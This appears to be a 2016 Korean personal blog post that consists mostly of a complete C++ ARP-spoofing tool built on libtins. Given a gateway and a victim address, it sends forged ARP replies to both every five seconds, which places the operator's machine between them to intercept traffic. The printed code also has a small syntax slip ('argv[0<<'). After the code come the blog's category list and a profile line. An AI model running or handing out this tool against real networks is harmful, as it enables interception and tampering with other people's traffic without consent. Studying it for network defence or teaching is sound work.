1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/***************
*    Author : 5kyc1ad
*    2016.04.26 : 11:52
****************/
 
#include <tins/tins.h>
#include <unistd.h>
 
using namespace Tins;
using namespace std;
 
void arpSpoofing(IPv4Address, IPv4Address);
 
int main(int argc, char *argv[])
{
    if(argc !=3) {
        cout << "[*] Usage : " << argv[0<< " [Gateway] [Victim]" << endl;
        return 1;
    }
    IPv4Address gateway, victim;
    try {
        gateway = argv[1];
        victim = argv[2];
    } catch(...) {
        cout << "[*] Please input arguments correctly" << endl;
        return 1;
    }
    try {
        arpSpoofing(gateway, victim);
    } catch (runtime_error& ex){
        cout << "[*] Runtime Error : " << ex.what() << endl;
        return 1;
    }
    return 0;
}
 
void arpSpoofing(IPv4Address gateway, IPv4Address victim) {
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gateway;
        info = iface.addresses();
    } catch(runtime_error& ex){
        cout << ex.what() << endl;
        return;
    }
 
    PacketSender sender;
    EthernetII::address_type gw_hw, victim_hw;
    gw_hw = Utils::resolve_hwaddr(iface, gateway, sender);
    victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
 
    cout << "[*][*] Attack Configure" << endl;
    cout << "[*] Gateway : " << gateway << ", " << gw_hw << endl;
    cout << "[*] Victim  : " << victim << ", " << victim_hw << endl;
    cout << "[*] Own_IP  : " << info.ip_addr << ", " << info.hw_addr << endl;
 
    ARP arp_toGateway(gateway, victim, gw_hw, info.hw_addr), arp_toVictim(victim, gateway, victim_hw, info.hw_addr);
    arp_toGateway.opcode(ARP::REPLY);
    arp_toVictim.opcode(ARP::REPLY);
 
    // Generate Ethernet Packet for Capsulation
    EthernetII eth_toGateway = EthernetII(gw_hw, info.hw_addr) / arp_toGateway;
    EthernetII eth_toVictim  = EthernetII(victim_hw, info.hw_addr) / arp_toVictim;
 
    cout << "[*][*] Attack Start" << endl;
 
    while(true) {
        sender.send(eth_toGateway, iface);
        sender.send(eth_toVictim, iface);
        clog << "[*] Do ARP Spoofing" << endl;
        sleep(5);
    }
}
cs

'Programming' 카테고리의 다른 글

[C++] std::string 클래스 구현  (0) 2016.05.23
Python List 얕은 복사, 깊은 복사  (0) 2016.04.26
[ARM] Assembly Programming - Hello World!  (0) 2016.04.22
[VHDL] 4-bit Carry Select Adder  (0) 2016.02.17
[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,